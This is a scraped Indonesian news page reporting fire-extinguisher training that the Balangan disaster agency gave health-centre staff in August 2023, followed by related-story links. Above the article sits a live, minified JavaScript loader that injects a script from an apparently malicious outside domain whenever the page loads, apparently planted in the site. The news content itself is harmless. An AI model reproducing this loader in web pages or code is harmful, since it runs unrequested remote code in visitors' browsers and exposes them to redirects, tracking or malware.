(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – BPBD Balangan berikan pelatihan kepada pegawai Puskesmas dalam penggunaan APAR (Alat Pemadam Api Ringan). Dua Puskesmas mengikuti pelatihan APAR yang dilaksanakan oleh BPBD Balangan yaitu Puskesmas Awayan dan Lampihong, Senin (28/8/2023).
Kepala Pelaksana BPBD Balangan H Rahmi menyampaikan, cara penggunaan APAR yang tepat dan benar sangat penting diketahui. Lanjutnya terlebih dulu buka segel dengan cara memutar pin, tarik pin APAR ambil posisi tidak melawan arah angin.
“Cara mengetahui arah angin, perhatikan asapnya, jangan berdiri dengan posisi menantang asap. Posisi berdiri sekitar 1,5 meter 3 meter dari api, angkat APAR, arahkan moncong selang ke arah api, kemudian semprot api dengan cara menekan tuas pada alat pemadam,” jelasnya.
Menurutnya, pelatihan APAR ini bertujuan untuk memberi pemahaman kepada pegawai tentang penggunaan APAR, dan juga melatih para pegawai agar mampu menggunakan APAR dengan tepat dan benar untuk menanggulangi kebakaran dalam skala kecil.
Secara umum, APAR atau fire extinguisher adalah alat yang digunakan untuk memadamkan api kecil atau mengendalikan kebakaran kecil. APAR pada umumnya berbentuk tabung yang diisikan dengan bahan pemadam api yang bertekanan tinggi.
Dalam hal kesehatan dan keselamatan kerja, APAR merupakan peralatan wajib yang harus dilengkapi oleh setiap instansi pemerintahan maupun perusahaan dalam mencegah terjadinya kebakaran. (mcbalangan/kanalkalimantan/adv)
Reporter : adv
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.